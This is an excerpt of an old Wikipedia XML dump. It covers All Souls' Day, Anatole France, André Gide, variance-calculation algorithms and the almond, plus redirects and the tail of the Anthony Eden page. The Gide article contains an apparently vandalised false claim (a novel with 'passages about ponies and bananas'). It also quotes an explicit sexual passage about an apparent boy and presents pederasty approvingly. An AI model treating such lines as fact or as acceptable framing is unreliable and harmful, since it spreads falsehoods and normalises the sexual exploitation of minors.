[[Category:1977 deaths|Avon]]
[[Category:British Army officers|Avon]]
[[Category:British MPs|Avon]]
[[Category:British Secretaries of State|Avon]]
[[Category:Earls in the Peerage of the United Kingdom|Avon]]
[[Category:Former students of Christ Church, Oxford|Avon]]
[[Category:Knights of the Garter|Avon]]
[[Category:Leaders of the British Conservative Party|Avon]]
[[Category:Lords Privy Seal|Avon]]
[[Category:members of the Privy Council|Avon]]
[[Category:Old Etonians|Avon]]
[[Category:Prime Ministers of the United Kingdom|Avon]]
[[Category:World War II political leaders|Avon]]

[[de:Anthony Eden]]
[[es:Anthony Eden]]
[[fr:Anthony Eden]]
[[it:Anthony Eden]]
[[nl:Anthony Eden]]
[[ja:アンソニー・イーデン]]
[[pl:Anthony Eden]]
[[pt:Anthony Eden]]
[[fi:Anthony Eden]]
[[sv:Anthony Eden]]</text>
    </revision>
  </page>
  <page>
    <title>Amateur Radio</title>
    <id>1053</id>
    <revision>
      <id>15899558</id>
      <timestamp>2002-05-22T19:01:20Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Amateur radio]]</comment>
      <text xml:space="preserve">#redirect [[Amateur radio]]</text>
    </revision>
  </page>
  <page>
    <title>All Souls Day</title>
    <id>1055</id>
    <revision>
      <id>42078634</id>
      <timestamp>2006-03-03T17:58:03Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced. Wikify dates</comment>
      <text xml:space="preserve">{{Otheruses4|the religious holiday|the 2005 film|All Souls Day (film)|All Souls Day}}

[[Image:Allsoul.jpg|thumb||300px|All Souls' Day by William Bouguereau]]
'''All Souls' Day''' (formally, ''Commemoratio omnium Fidelium Defunctorum'' or Commemoration of all the Faithful Departed), also called '''Defuncts' Day''' in Mexico and Belgium, is the day set apart in the [[Roman Catholic Church]] for the commemoration of the [[afterlife|faithful departed]].  The celebration is based on the doctrine that the souls of the faithful which at death have not been cleansed from [[venial sin]]s, or have not atoned for past transgressions, cannot attain the [[beatific vision]], and that they may be helped to do so by [[prayer]] and by the sacrifice of the [[mass (liturgy)|mass]].

The feast falls on [[November 2]]. Traditionally, because [[Requiem]] [[Masses]] could not be celebrated on Sundays before Vatican II, the feast was transferred to [[November 3]] if [[November 2]] is a Sunday, but this is no longer observed in the [[Novus Ordo]].

==Christian origin==

The practice of setting apart a special day for intercession for certain of the faithful departed is very old.  But the first feast of general intercession was first established by [[Odilo]], [[abbot]] of [[Cluny]] (d. 1048).  The legend is given by [[Peter Damiani]] in his ''Life of St Odilo.'' According to this, a [[pilgrim]] returning from the [[Holy Land]] was cast by a [[storm]] on a desolate island.  A hermit living there told him that amid the rocks was a chasm communicating with [[purgatory]], from which perpetually rose the groans of tortured souls.  The hermit also claimed he had heard the [[demon]]s complaining of the efficacy of the prayers of the faithful, and especially the [[monk]]s of Cluny, in rescuing their victims.  Upon returning home, the pilgrim hastened to inform the abbot of Cluny, who then set [[2 November]] as a day of intercession on the part of his community for all the souls in purgatory.  The decree ordaining the celebration is printed in the Bollandist [[Acta Sanctorum]] (Saec.  VI, pt. i. p. 585).  From Cluny the custom spread to the other houses of the Cluniac order, was soon adopted in several [[diocese]]s in [[France]], and spread throughout the Western Church. In time the entire month of [[November]] became associated with prayer for the departed in the Western Catholic tradition. Nonetheless the [[2 November]] retained a special status as a day set apart for that purpose.

==Protestantism==

At the [[Protestant Reformation|Reformation]] the celebration of All Souls' Day was abolished in the [[Church of England]], though it was renewed in certain churches in connection with the &quot;Catholic revival&quot; of the 19th century. The observance was restored with the publication of the 1980 [[Alternative Service Book]], and it features in [[Common Worship]].

Among continental [[Protestantism|Protestant]]s its tradition has been more tenaciously maintained.  Even [[Martin Luther (religious leader)|Luther]]'s influence was not sufficient to abolish its celebration in [[Saxony]] during his lifetime; and, though its Ecclesiastical sanction soon lapsed even in the [[Lutheran]] Church, its memory survives strong in popular custom.  Just as it is the custom of [[French people]], of all ranks and creeds, to decorate the graves of their dead on the ''jour des morts'', so [[German people]] stream to the graveyards once a year with offerings of [[flower]]s.

==Pagan roots==

Certain popular beliefs connected with All Souls' Day are of [[Paganism|pagan]] origin and immemorial antiquity.  Thus the dead are believed by the peasantry of many Catholic countries to return to their former homes on All Souls' Night and partake of the food of the living.  In [[Tyrol]], cakes are left for them on the table and the room kept warm for their comfort.  In [[Brittany]], people flock to the cemeteries at nightfall to kneel bare-headed at the graves of their loved ones, and to toll the hollow of the [[tomb stone|tombstone]] with [[holy water]] or to pour libations of [[milk]] on it, and at bedtime the supper is left on the table for the souls. This tradition, though, certainly does not make Catholicism a pagan religion at all since it is the first Christian Church and denomination for over a 1,000 years.

==See also==
* [[Office of the Dead]]
* [[Samhain]]
* [[Halloween]]
* [[Day of the Dead]]
* [[Zaduszki]]

==External links==
* [http://www.newadvent.org/cathen/01315b.htm Catholic Encyclopedia: All Souls' Day]
* [http://www.americancatholic.org/Features/Saints/faqs.asp American Catholic - Saints FAQs, All Saints and All Souls Days]

[[Category:Liturgical Calendar]]

[[de:Allerseelen]]
[[ja:死者の日]]
[[la:Commemoratio Omnium Fidelium Defunctorum]]
[[nl:Allerzielen]]
[[pt:Dia dos fiéis defuntos]]</text>
    </revision>
  </page>
  <page>
    <title>Andreas Vesalius</title>
    <id>1056</id>
    <revision>
      <id>31724752</id>
      <timestamp>2005-12-17T12:28:09Z</timestamp>
      <contributor>
        <ip>84.65.45.123</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Vesalius]]</text>
    </revision>
  </page>
  <page>
    <title>Anatole France</title>
    <id>1057</id>
    <revision>
      <id>42022625</id>
      <timestamp>2006-03-03T07:24:02Z</timestamp>
      <contributor>
        <username>Zdravko mk</username>
        <id>693044</id>
      </contributor>
      <comment>/* Famous sayings */</comment>
      <text xml:space="preserve">{{French literature (small)}}
'''Anatole France''' ([[April 16]], [[1844]] &amp;ndash; [[October 12]], [[1924]]) was the [[pen name]] of French author '''Jacques Anatole François Thibault'''. He was born in [[Paris|Paris, France]], and died in [[Tours]], [[Indre-et-Loire]], [[France]]. In addition to being a celebrated author, Anatole was also documented to have a brain volume just two-thirds the normal size. 

In [[1896]], he was made a member of the [[Académie française]].

In the [[1920s]] France's writings were put on the [[Index of Forbidden Books]] of the [[Roman Catholic Church]]. He was awarded the [[Nobel Prize in Literature]] in [[1921]].

==Works, partial list==
* ''[[Penguin Island (book)|Penguin Island]]'', ''L'Île des Pingouins''
* ''The Crime of Sylvestre Bonnard'', ''Le Crime de Sylvester Bonnard''
* ''Thaïs''
* ''The Human Tragedy'', ''L'Humaine Tragedie''
* ''The Queen Pedauque'', ''La Rotisserie de la Reine Pedauque''
* ''The Red Lily'', ''Le Lys Rouge''
* ''The Revolt of the Angels'', ''La Revolte des Anges''
* ''Crainquebille; Putois; Riquet; et Plusieurs Autres Recits Profitables''
* ''Les Sept Femmes de la Barbe-Bleue et Autres Contes Merveilleux''
* ''Monsieur Bergeret a Paris''
* ''Sur la Pierre Blanche''
* ''The Man Who Married A Dumb Wife'' play
* ''The Gods Will Have Blood; The Gods Are A-Thirst''
* ''The Life of Joan of Arc'' 2 volumes
* ''Mother of Pearl''

== Famous sayings ==
*&quot;The law, in its majestic equality, forbids the rich as well as the poor to sleep under bridges, to beg in the streets, and to steal bread.&quot;
*&quot;I prefer the errors of enthusiasm to the indifference of wisdom.&quot;
*&quot;If fifty million people say a foolish thing, it is still a foolish thing.&quot;
*&quot;When a thing has been said, and said well, have no scruple. Take it and copy it.&quot;
*&quot;Let us give to men irony and pity as witnesses and judges.&quot;
*&quot;Make hatred hated.&quot;
*&quot;Never lend books, for no one ever returns them; the only books I have in my library are those that other people have lent me.&quot;
*&quot;To accomplish great things, we must not only act, but also dream; not only plan, but also believe.&quot;
*&quot;Without the utopians of other times, men would still live in caves, miserable and naked;...utopia is the principle of all progress, adn the essay into a better world.&quot;

==External links==
{{wikiquote}}
* {{gutenberg author| id=Anatole+France | name=Anatole France}}
*[http://www.surlalunefairytales.com/bluebeard/fiction/anatolefrance.html The Seven Wives of Bluebeard (English) by Anatole France]
*[http://www.surlalunefairytales.com/sleepingbeauty/fiction/anatolefrance.html The Story of the Duchess of Cicogne and of Monsieur de Boulingrin (English) by Anatole France]
*[http://www.nobel-winners.com/Literature/anatole_france.html Anatole France Biography]

{{start box}}
{{succession box | before=[[Ferdinand de Lesseps]] | title=[[List of members of the Académie française#Seat 38|Seat 38]]&lt;br&gt;[[Académie française]] | years=1896&amp;ndash;1924 | after=[[Paul Valéry]]
}}
{{end box}}

{{start box}}
{{succession box | before=[[Knut Hamsun]] | title=[[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years=1921 | after=[[Jacinto Benavente]]
}}
{{end box}}


[[Category:1844 births|France, Anatole]]
[[Category:1924 deaths|France, Anatole]]
[[Category:Members of the Académie française|France, Anatole]]
[[Category:Nobel Prize in Literature winners|France, Anatole]]
[[Category:French novelists|France, Anatole]]
[[Category:French satirists|France, Anatole]]

[[bg:Анатол Франс]]
[[be:Анатоль Франс]]
[[de:Anatole France]]
[[et:Anatole France]]
[[es:Anatole France]]
[[eo:Anatole FRANCE]]
[[fr:Anatole France]]
[[hr:Anatole France]]
[[it:Anatole France]]
[[he:אנטול פרנס]]
[[nl:Anatole France]]
[[no:Anatole France]]
[[ja:アナトール・フランス]]
[[pl:Anatole France]]
[[pt:Anatole France]]
[[ru:Франс, Анатоль]]
[[sk:Anatole France]]
[[fi:Anatole France]]
[[sv:Anatole France]]</text>
    </revision>
  </page>
  <page>
    <title>André Gide</title>
    <id>1058</id>
    <revision>
      <id>41443418</id>
      <timestamp>2006-02-27T09:56:49Z</timestamp>
      <contributor>
        <username>JoJan</username>
        <id>58781</id>
      </contributor>
      <comment>Elisabeth van Rysselberghe</comment>
      <text xml:space="preserve">{{French literature (small)}}

'''André Paul Guillaume Gide''' ([[November 22]], [[1869]] &amp;ndash; [[February 19]], [[1951]]) was a [[France|French]] [[author]] and winner of the [[Nobel prize]] in literature in [[1947]]. Gide's career spanned from the [[symbolist]] movement to the advent of anticolonialism in-between the two [[World Wars]].

Gide's work can be seen as an investigation of freedom and empowerment in the face of moralistic and puritan constraints, and gravitates around his continuous effort to achieve intellectual honesty. His self-exploratory texts reflect his search of how to be fully oneself, even to the point of owning one's sexual nature, without at the same time betraying one's values. His political activity is informed by the same ethos, as suggested by his repudiation of [[communism]] after his [[1936]] voyage to the [[USSR]].

Known for his fiction as well as his autobiographical works, Gide exposes to public view the conflict and eventual reconciliation between the two sides of his personality, split apart by a straightlaced education and a narrow social moralism - as he perceives himself: the austere and refined [[Protestant]], and the divinely inspired - and no longer blushing - [[Pederasty|pederast]].

==Early life==

Gide was born in [[Paris]], France on [[November 22]], [[1869]]. His father was a Paris University professor of law and died [[1880]]. His uncle was the political economist [[Charles Gide]]. 

Gide was brought up in isolated conditions in [[Normandy]] and became a prolific writer at an early age, publishing in [[1891]] his first novel, ''The Notebooks of Andre Walter'' (French: ''Les Cahiers d'André Walter'').  

In [[1893]] and [[1894]] Gide traveled in northern [[Africa]]. He befriended [[Oscar Wilde]] in [[Algiers]] and there clearly recognized his own [[pederasty|pederastic]] orientation:

:&quot;But how can I describe my delirium at holding in my naked arms that perfect, savage little brown body, eager, lacivious? I spent a long time, after Mohammed had left me, in a state of trembling exaltation, and although I had reached the peak of pleasure five times with him, I re-lived my ecstasy again and again, and back at my room at the hotel prolonged the memories until dawn.  At the first pale light I got up; and ran, yes really ran, in sandals, far beyond Mustapha; a kind of lightness of the body and soul did not leave me all day.&quot; (''Si Le Grain Ne Meurt'').

Though sympathetic to the plight of homosexuals in his day, he never saw himself as one of them, claiming that, &quot;I was never homosexual, in the sense of finding men attractive.&quot;

==The middle years==

In [[1895]], after his mother's death, he married his cousin Madeleine Rondeaux but the marriage remained unconsummated.  In [[1896]] he was mayor of [[La Roque-Baignard]], a [[Commune in France|commune]] in [[Normandy]]. 

In [[1908]] Gide helped found the literary magazine ''Nouvelle Revue française'' (''The New French Review''). In [[1916]] [[Marc Allégret]], 16, becomes his lover. He was the son of Elie Allegret, best man at Gide's wedding. Of Allegret's five children, Andre Gide adopted Marc. The two elope to London, in retribution for which his wife burns all his correspondence, &quot;the best part of myself,&quot; as he was later to comment. In [[1918]] he met [[Dorothy Bussy]], who was his friend for over thirty years and who would translate all his works into English.

In the [[1920s]] Gide became an inspiration for writers like [[Albert Camus]] and [[Jean-Paul Sartre]]. In [[1923]] he published a book on [[Fyodor Dostoyevsky]]; however, when he defended homosexuality in the public edition of ''[[Corydon]]'' ([[1924]]) he received widespread condemnation. He later considered this his most important work. 

In 1923 he conceived a daughter named Catherine with another woman, Elisabeth van Rysselberghe, daughter of his friend, the Belgian neo-impressionist painter [[Théo van Rysselberghe]]. His wife Madeleine died in [[1938]]. Later he used the background of his unconsummated marriage in his novel ''Et Nunc Manet in Te.'' The novel included passages about ponies and bananas. These works were unconventional at the time, and became instant classics ([[1951]]).

After [[1925]] he began to demand more humane conditions for criminals. In [[1926]] he published an autobiography, ''If it die'' (French: ''Si le grain ne meurt'').

==Africa==

From July 1926 to May [[1927]], he travelled through the [[French Equatorial Africa]] [[colony]] with his lover [[Marc Allégret]]. He went successively in [[Middle Congo]] (now the [[Republic of the Congo]]), in [[Oubangui-Chari]] (now the [[Central African Republic]]), briefly in [[Chad]] and then in [[Cameroun]] before returning to France. He related his peregrinations in a journal called ''[[Travels in the Congo]]'' (French: ''Voyage au Congo'') and ''Return from Chad'' (French: ''Retour du Tchad''). In this published journal, he criticized the behavior of French business interests in the Congo and inspired reform. In particular, he strongly criticized the ''Large Concessions'' regime (French: ''régime des Grandes Concessions''), i.e. a regime according to which part of the colony was conceded to French companies and where these companies could exploit all area's [[natural resource]]s, in particular [[rubber]]. He related for instance how natives were forced to leave their village during several weeks to collect rubber in the forest, and went as far as comparing their exploitation to [[slavery]].

==Russia==

During the [[1930s]] he briefly became a [[communism|communist]], but became disillusioned after his visit to [[Soviet Union]]. His criticism of communism caused him to lose many of his [[socialism|socialist]] friends, especially when he made a clean break with it in ''Retour de L'U.R.S.S.'' in [[1936]]. He was also a contributor to ''[[The God That Failed]]''.

==The 1940s==
Gide left France for [[Africa]] in [[1942]] and lived in [[Tunis]] until the end of [[World War II]]. In [[1947]], he received the [[Nobel Prize in Literature]].

Gide died on [[February 19]], [[1951]].

==Partial list of works==
*''Les cahiers d'André Walter'' - 1891
*''Le traité du Narcisse'' - 1891
*''Les poésies d'André Walter'' - 1892
*''Le voyage d'Urien'' - 1893
*''La tentative amoureuse'' - 1893
*''Paludes'' - 1895
*''Réflexions sur quelques points de littérature'' - 1897
*''Les nourritures terrestres'' - 1897
*''Feuilles de route 1895-1896'' - 1897
*''El Hadj''
*''Le Prométhée mal enchaîné'' - 1899
*''Philoctète'' - 1899
*''Lettres à Angèle'' - 1900
*''De l'influence en littérature'' - 1900
*''Le roi Candaule'' - 1901
*''Les limites de l'art'' - 1901
*''L'immoraliste'' - 1902
*''Saül'' - 1903
*''De l'importance du public'' - 1903
*''Prétextes'' - 1903
*''Amyntas'' - 1906
*''Le retour de l'enfant prodigue'' - 1907
*''Dostoïevsky d'après sa correspondance'' - 1908
*''La porte étroite'' - 1909
*''Oscar Wilde'' - 1910
*''Nouveaux prétextes'' - 1911
*''Charles-Louis-Philippe'' - 1911
*''C. R. D. N.'' - 1911
*''Isabelle'' - 1911
*''Bethsabé'' - 1912
*''Souvenirs de la Cour d'Assises'' - 1914
*''Les caves du Vatican'' - 1914
*''La symphonie pastorale'' - 1919
*''Corydon'' - 1920
*''Numquid et tu . . .?'' - 1922
*''Dostoïevsky'' - 1923
*''Incidences'' - 1924
*''Caractères'' - 1925
*''Les faux-monnayeurs'' - 1925
*''Si le grain ne meurt'' - 1926
*''Le journal des faux-monnayeurs'' - 1926
*''Dindiki'' - 1927
*''Voyage au Congo'' - 1927
*''Le retour de Tchad'' - 1928
*''L'école des femmes'' - 1929
*''Essai sur Montaigne'' - 1929
*''Un esprit non prévenu'' - 1929
*''Robert'' - 1930
*''La séquestrée de Poitiers'' - 1930
*''L'affaire Redureau'' - 1930
*''Œdipe'' - 1931
*''Perséphone'' - 1934
*''Les nouvelles nourritures'' - 1935
*''Geneviève'' - 1936
*''Retour de l'U. R. S. S.'' - 1936
*''Retouches â mon retour de l'U. R. S. S.'' - 1937
*''Notes sur Chopin'' - 1938
*''Journal 1889-1939'' - 1939
*''Découvrons Henri Michaux'' - 1941
*''Thésée'' - 1946
*''Le retour'' - 1946
*''Paul Valéry'' - 1947
*''Le procès'' - 1947
*''L'arbitraire'' - 1947
*''Eloges'' - 1948
*''Littérature engagée'' - 1950

The Catholic Church placed his works on the [[Index of Forbidden Books]] in [[1952]].

==See also==
[[Historical pederastic couples]]

==External links==
{{wikiquote}}
*{{gutenberg author| id=André+Gide | name=André Gide}}
*[http://www.andregide.org Center for Gidian Studies]
*[http://www.gidiana.net/ Amis d'André Gide] ''In French''
*[http://www.bobpayne.com/ Alphabet Soup]

{{start box}}
{{succession box | before = [[Hermann Hesse]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1947 | after = [[Thomas Stearns Eliot]]
}}
{{end box}}

[[Category:1869 births|Gide, André]]
[[Category:1951 deaths|Gide, André]]
[[Category:Parisians|Gide, André]]
[[Category:Nobel Prize in Literature winners|Gide, André]]
[[Category:French novelists|Gide, André]]
[[Category:French essayists|Gide, André]]
[[Category:French travel writers|Gide, André]]
[[Category:Pederastic lovers|Gide, André]]
[[Category:Gay writers|Gide, André]]
[[Category:LGBT rights activists|Gide, André]]

[[cs:André Gide]]
[[de:André Gide]]
[[et:André Gide]]
[[es:André Gide]]
[[eo:André GIDE]]
[[fa:آندره ژید]]
[[fr:André Gide]]
[[hr:André Gide]]
[[it:André Gide]]
[[he:אנדרה ז'יד]]
[[hu:André Gide]]
[[ja:アンドレ・ジッド]]
[[no:André Gide]]
[[pl:André Gide]]
[[pt:André Gide]]
[[ru:Жид, Андре]]
[[fi:André Gide]]
[[sv:André Gide]]
[[tr:André Gide]]
[[zh:纪德]]</text>
    </revision>
  </page>
  <page>
    <title>Applied statistics</title>
    <id>1059</id>
    <revision>
      <id>35692261</id>
      <timestamp>2006-01-18T16:57:16Z</timestamp>
      <contributor>
        <username>Eric Sellars</username>
        <id>314346</id>
      </contributor>
      <comment>Removed broken link</comment>
      <text xml:space="preserve">'''Applied statistics''' is the use of [[statistics]] and [[statistical theory]] in real-life situations.

Anyone committed to empirical observation as a means of knowing the universe about us can apply statistics as a research tool.  This obviously includes [[science]] but includes [[history]] and the [[art]]s as well.  For example, [[econometrics]] makes heavy use of applied statistics to study the [[economics|economy]].

In each of these areas, we need to observe, recognize the potential for error in our observations, and plan our research to control the [[observational error]].

== See also ==
* [[List of publications in statistics#Applied statistics| Important publications in applied statistics]]

== External links ==
* [http://mbhs.edu/~steind00/ Some applets about applied statistics]

{{statistics-stub}}
[[Category:Statistics]]
[[pl:statystyka stosowana]]</text>
    </revision>
  </page>
  <page>
    <title>Analysis of variance/Fixed effects model</title>
    <id>1060</id>
    <revision>
      <id>15899565</id>
      <timestamp>2003-01-13T23:26:40Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Analysis of variance]]</text>
    </revision>
  </page>
  <page>
    <title>Analysis of variance/Random effects models</title>
    <id>1061</id>
    <revision>
      <id>15899566</id>
      <timestamp>2003-01-13T23:28:27Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirect to [[Analysis of variance]]</comment>
      <text xml:space="preserve">#REDIRECT [[Analysis of variance]]</text>
    </revision>
  </page>
  <page>
    <title>Analysis of variance/Degrees of freedom</title>
    <id>1062</id>
    <revision>
      <id>15899567</id>
      <timestamp>2003-01-13T23:29:58Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirecting to Analysis of variance</comment>
      <text xml:space="preserve">#REDIRECT [[Analysis of variance]]</text>
    </revision>
  </page>
  <page>
    <title>Algorithms for calculating variance</title>
    <id>1063</id>
    <revision>
      <id>38008909</id>
      <timestamp>2006-02-03T15:47:51Z</timestamp>
      <contributor>
        <username>Mathbot</username>
        <id>234358</id>
      </contributor>
      <comment>Robot-assisted spelling. See [[User:Mathbot/Logged misspellings]] for changes.</comment>
      <text xml:space="preserve">'''[[Algorithm]]s for calculating [[variance]]''' play a minor role in [[statistics|statistical]] computing. A key problem in the design of good algorithms for this problem is that formulas for the variance may involve sums of squares, which can lead to numerical instability as well as to [[arithmetic overflow]] when dealing with large values.

== Algorithm I ==

A [[formula]] for calculating the variance of a [[statistical population|population]] of size ''n'' is:

:&lt;math&gt;\sigma^2 = \frac {\sum_{i=1}^{n} x_i^2 - (\sum_{i=1}^{n} x_i)^2/n}{n}. \!&lt;/math&gt;

A formula for calculating an [[bias (statistics)|unbiased]] estimate of the population variance from a finite [[statistical sample|sample]] of ''n'' observations is:

:&lt;math&gt;s^2 = \frac {\sum_{i=1}^{n} x_i^2 - (\sum_{i=1}^{n} x_i)^2/n}{n-1}. \!&lt;/math&gt;

Therefore a naive algorithm to calculate the estimated variance is given by the following [[pseudocode]]: 

 long n = 0
 double sum = 0
 double sum_sqr = 0
 
 foreach x in data:
   n += 1
   sum += x
   sum_sqr += x * x
 end for
 
 double mean = sum / n
 double variance = (sum_sqr - sum * mean) / (n - 1)

This algorithm can easily be adapted to compute the variance of a finite population: simply divide by ''n'' instead of &lt;math&gt;n-1&lt;/math&gt; on the last line.

== Algorithm II ==

The following formulas can be used to update the [[mean]] and (estimated) variance of the sequence, for an additional element &lt;math&gt;x_{\mathrm{new}}&lt;/math&gt;. Here, ''m'' denotes the estimate of the population mean, ''s''&lt;sup&gt;2&lt;/sup&gt; the estimate of the population variance, and ''n'' the number of elements in the sequence before the addition.

:&lt;math&gt;m_{\mathrm{new}} = \frac{n \; m_{\mathrm{old}} + x_{\mathrm{new}}}{n+1} = m_{\mathrm{old}} + \frac{x_{\mathrm{new}} - m_{\mathrm{old}}}{n+1} \!&lt;/math&gt;

:&lt;math&gt;s^2_{\mathrm{new}} = \frac{(n-1) \; s^2_{\mathrm{old}} + (x_{\mathrm{new}} - m_{\mathrm{new}}) \, (x_{\mathrm{new}} - m_{\mathrm{old}})}{n} \!&lt;/math&gt;

A numerically stable algorithm is given below.  It also computes the mean.
This algorithm is due to Knuth&lt;ref&gt;[[Donald E. Knuth]] (1998). ''[[The Art of Computer Programming]]'', volume 2: ''Seminumerical Algorithms'', 3rd edn., p. 232. Boston: Addison-Wesley.&lt;/ref&gt;,
who cites Welford&lt;ref&gt;B. P. Welford (1962). &quot;Note on a method for calculating corrected sums of squares and products&quot;. ''Technometrics'' 4(3):419–420.&lt;/ref&gt;.

 long n = 0
 double mean = 0
 double S = 0
 
 foreach x in data:
   n += 1
   double delta = x - mean
   mean += delta / n
   S += delta * (x - mean)  // This expression uses the new value of mean
 end for
 
 double variance = S / (n - 1)

== Example ==

Assume that all floating point operations use the standard [[IEEE 754#Double-precision 64 bit|IEEE 754 double-precision]] arithmetic. Consider the sample (4, 7, 13, 16) from an infinite population. Based on this sample, the estimated population mean is 10, and the estimated population variance is 30.  Both algorithms compute these values correctly.  Next consider the sample &lt;math&gt;(10^8+4, 10^8+7, 10^8+13, 10^8+16)&lt;/math&gt;, which gives rise to the same estimated variance as the first sample.  Algorithm II computes this variance estimate correctly, but Algorithm I returns 29.333333333333332 instead of 30.  While this loss of precision may be tolerable and viewed as a minor flaw of Algorithm I, it is easy to find data that reveal a major flaw in the naive algorithm: Take the sample to be &lt;math&gt;(10^9+4, 10^9+7, 10^9+13, 10^9+16)&lt;/math&gt;.  Again the estimated population variance of 30 is computed correctly by Algorithm II, but the naive algorithm now computes it as &amp;minus;170.66666666666666.  This is a serious problem with Algorithm I, since the variance can, by definition, never be negative.

== References ==

&lt;references/&gt;

== External links ==

* {{MathWorld|title=Sample Variance Computation|urlname=SampleVarianceComputation}}

[[Category:Statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Almond</title>
    <id>1064</id>
    <revision>
      <id>41661312</id>
      <timestamp>2006-02-28T22:19:43Z</timestamp>
      <contributor>
        <username>Michaelfavor</username>
        <id>472990</id>
      </contributor>
      <comment>combined similar sentences</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = lightgreen
| name = Almond
| image = Almond blossoms branch.JPG
| image_width = 250px
| image_caption = Almond flowers
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Rosales]]
| familia = [[Rosaceae]]
| subfamilia = [[Prunoideae]]
| genus = [[Prunus]]
| species = '''''P. dulcis'''''
| binomial = ''Prunus dulcis''
| binomial_authority = ([[Philip Miller|Mill.]]) D. A. Webb
}}

The '''Almond''' (''Prunus dulcis'', [[synonymy|syn.]] ''Prunus amygdalus'', or ''Amygdalus communis'') is a small [[deciduous]] [[tree]] belonging to the subfamily [[Prunoideae]] of the family [[Rosaceae]]. An ''almond'' is also the [[fruit]] of this tree. It is classified with the [[peach]] in the subgenus ''Amygdalus'' within ''[[Prunus]]'', distinguished from the other subgenera by the corrugated seed shell. 

The fruit lacks the sweet fleshy outer covering of other members of ''Prunus'' (such as the [[plum]] and [[cherry]]), this being replaced by a leathery coat, called a hull, which contains the edible kernel, commonly called a [[nut]], inside a hard shell.  In botanical parlance, the reticulated hard stony shell is called an [[endocarp]], and the fruit, or [[exocarp]], is a [[drupe]], having a downy outer coat.

The tree is probably a native of southwest [[Asia]] and north [[Africa]], but has been so extensively cultivated for so long over the warm temperate regions of the Old World that its original natural distribution is obscure. It can ripen fruit as far north as the [[British Isles]]. It is a tree of moderate size; the leaves are lanceolate, and serrated at the edges; and it flowers early in spring.

==Production==
Global production of almonds is around 1.5 million tonnes, with a low of 1 million tonnes in 1995 and a peak of 1.85 million tonnes in 2002 [http://www.fas.usda.gov/htp/Hort_Circular/2004/12-10-04/12-04%20Almonds.pdf FAO figures (pdf file)]. Major producers include [[Greece]], [[Iran]], [[Italy]], [[Morocco]], [[Portugal]], [[Spain]], [[Syria]], [[Turkey]], and the [[United States]]. In Spain, numerous commercial cultivars of sweet almond are produced, most notably the Jordan almond (imported from [[Málaga]]) and the [[Valencia]] almond. In the United States, production is concentrated in [[California]], with almonds being California's sixth leading argicultrual product and its top agricultural export. California exported almonds valued at 1.08 billion dollars in 2003, about 70% of total California almond crop.

==Pollination==
{{ImageStackRight|200|
[[image:Almond blossoms closeup.jpg|thumb|right|Almond flowers]]
[[Image:Unripe almond on tree.jpg|thumb|Unripe almond on tree]]
[[Image:Almonds_th.jpg|thumb|right|Almonds (in the shell and out of it)]]}}
The [[pollination]] of California's almonds is the largest annual [[Pollination management|managed pollination]] event in the world, with close to one million hives (nearly half of all [[beehive (beekeeping)|beehives]] in the USA) being trucked in February to the almond groves. Much of the pollination is managed by pollination brokers, who contract with migratory [[beekeeper]]s from at least 38 states for the event.

==Sweet and bitter almond==
There are two forms of the plant, one (often with white flowers) producing [[sweet]] almonds, and the other (often with pink flowers) producing [[Bitter (taste)|bitter]] almonds. The kernel of the former contains a fixed oil and emulsion. As late as the early 20th century the oil was used internally in medicine, with the stipulation that it must not be adulterated with that of the bitter almond; it remains fairly popular in [[alternative medicine]], particularly as a [[carrier oil]] in [[aromatherapy]], but has fallen out of prescription among doctors.

The bitter almond is rather broader and shorter than the sweet almond, and contains about 50% of the fixed oil which also occurs in sweet almonds. It also contains a ferment emulsion which, in the presence of water, acts on a [[soluble]] [[glucoside]], [[amygdalin]], yielding [[glucose]], [[cyanide]] and the [[essential oil]] of bitter almonds or [[benzaldehyde]]. Bitter almonds may yield from 6 to 8% of prussic acid (also known as [[hydrogen cyanide]]). Extract of bitter almond was once used medicinally but even in small doses effects are severe and in larger doses can be deadly; the prussic acid must be removed before consumption.

==Almond oil==
&quot;Oleum Amygdalae&quot;, the fixed oil, is prepared from either variety of almond and is a glyceryl oleate, with slight odour and a nutty taste. It is almost insoluble in [[ethanol|alcohol]] but readily soluble in [[chloroform]] or [[diethyl ether|ether]]. It may be used as a substitute for [[olive oil]]. 

The sweet almond oil is obtained from the dried [[seed|kernel]] of the plant. This oil has been traditionally used by [[massage therapist]]s to lubricate the skin during a massage session, being considered by many to be an effective [[emollient]].

==Culinary uses==
While the almond is most often eaten raw, it is used in some dishes.  It, along with other nuts, is often sprinkled over desserts, particularly sundaes and other ice cream based dishes.  It is also used in [[Baklava]]. There is also almond butter, a spread similar to [[peanut butter]], popular with peanut allergy sufferers and for its less salty taste.

The sweet almond itself contains practically no [[starch]] and may therefore be made into flour for cakes and biscuits for patients suffering from [[diabetes mellitus]] or any other form of [[glycosuria]]. Almond extract is also a popular substitute for [[vanilla]] extract among people with diabetes. Sweet almonds are used in [[marzipan]], [[nougat]], and [[macaroon]]s, as well as other desserts. Almonds are a rich source of [[Vitamin E]], containing 24 mg per 100 grammes [http://www.allaboutvision.com/nutrition/vitamin_e.htm]. They are also rich in [[monounsaturated fat]], one of the two &quot;good&quot; fats responsible for lowering [[LDL cholesterol]].

In China, almonds are used in a popular dessert when it is mixed with milk and then served hot.

==Cultural aspects==
